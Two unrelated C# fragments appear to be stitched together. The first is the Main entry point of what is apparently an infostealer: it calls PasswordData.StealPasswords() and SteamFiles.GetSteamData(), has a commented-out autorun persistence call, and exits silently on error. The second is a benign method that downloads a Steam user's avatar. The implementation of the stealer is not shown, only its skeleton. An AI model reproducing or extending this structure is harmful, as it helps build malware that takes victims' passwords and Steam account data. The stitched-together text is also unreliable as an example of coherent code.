static void Main(string[] args) { try { PasswordData.StealPasswords(); SteamFiles.GetSteamData(); //AutoLoad.SetAutorunValue(true); } catch { Application.Exit(); } }
/// <summary> /// Downloads the avatar /// </summary> public void DownloadAvatar() { // If the avatar is not unknown and not already loaded, continue the load process if (Avatar != Unknown && AvatarBitmap == null) { // Define the callback handler called when the image is loaded Func <Bitmap, Object> handler = (x) => { AvatarBitmap = x; if (DataChangedHandler != null) { DataChangedHandler(this, EventArgs.Empty); } return(null); }; // Request the avatar SteamFiles.LoadFromWeb("avatar_" + SteamId, Avatar, handler); } }